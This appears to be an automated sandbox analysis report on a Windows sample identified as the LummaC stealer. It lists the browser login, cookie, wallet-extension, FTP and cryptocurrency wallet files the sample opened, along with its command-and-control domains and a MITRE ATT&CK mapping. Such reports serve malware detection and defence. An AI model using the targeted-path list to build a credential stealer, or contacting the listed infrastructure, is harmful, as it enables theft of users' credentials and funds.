Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior

Source: Yara match	File source: 00000000.00000003.1432222769.0000000001549000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1437490012.0000000001535000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: XYQ1pqHNiT.exe PID: 3732, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: XYQ1pqHNiT.exe PID: 3732, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	44 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 Query Registry	Remote Services	41 Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Process Injection	LSASS Memory	851 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	44 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
XYQ1pqHNiT.exe	56%	Virustotal		Browse
XYQ1pqHNiT.exe	63%	ReversingLabs	Win32.Trojan.CryptBot
XYQ1pqHNiT.exe	100%	Avira	TR/Crypt.XPACK.Gen
XYQ1pqHNiT.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://lev-tolstoi.com/sA	100%	Avira URL Cloud	malware
https://store.steampow	0%	Avira URL Cloud	safe
https://lev-tolstoi.com/mA	100%	Avira URL Cloud	malware
https://lev-tolstoi.com/q	100%	Avira URL Cloud	malware
https://lev-tolstoi.com/BH	100%	Avira URL Cloud	malware
https://lev-tolstoi.com/c	100%	Avira URL Cloud	malware
https://lev-tolstoi.com/er	100%	Avira URL Cloud	malware
https://lev-tolstoi.com/ms	100%	Avira URL Cloud	malware
https://lev-tolstoi.com/api#%	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
steamcommunity.com	23.55.153.106	true	false	high
lev-tolstoi.com	172.67.157.254	true	false	high
cashfuzysao.buzz	unknown	unknown	false	high
scentniej.buzz	unknown	unknown	false	high
inherineau.buzz	unknown	unknown	false	high
prisonyfork.buzz	unknown	unknown	false	high
rebuildeso.buzz	unknown	unknown	false	high
appliacnesot.buzz	unknown	unknown	false	high
hummskitnj.buzz	unknown	unknown	false	high
mindhandru.buzz	unknown	unknown	false	high
screwamusresz.buzz	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
scentniej.buzz	false	high
https://steamcommunity.com/profiles/76561199724331900	false	high
rebuildeso.buzz	false	high
appliacnesot.buzz	false	high
screwamusresz.buzz	false	high
cashfuzysao.buzz	false	high
inherineau.buzz	false	high
https://lev-tolstoi.com/api	false	high
hummskitnj.buzz	false	high
mindhandru.buzz	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	XYQ1pqHNiT.exe, 00000000.00000003.1344948935.0000000005D3E000.00000004.00000800.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1344861175.0000000005D41000.00000004.00000800.00020000.00000000.sdmp	false		high
https://player.vimeo.com	XYQ1pqHNiT.exe, 00000000.00000003.1316852023.000000000154A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	XYQ1pqHNiT.exe, 00000000.00000003.1344948935.0000000005D3E000.00000004.00000800.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1344861175.0000000005D41000.00000004.00000800.00020000.00000000.sdmp	false		high
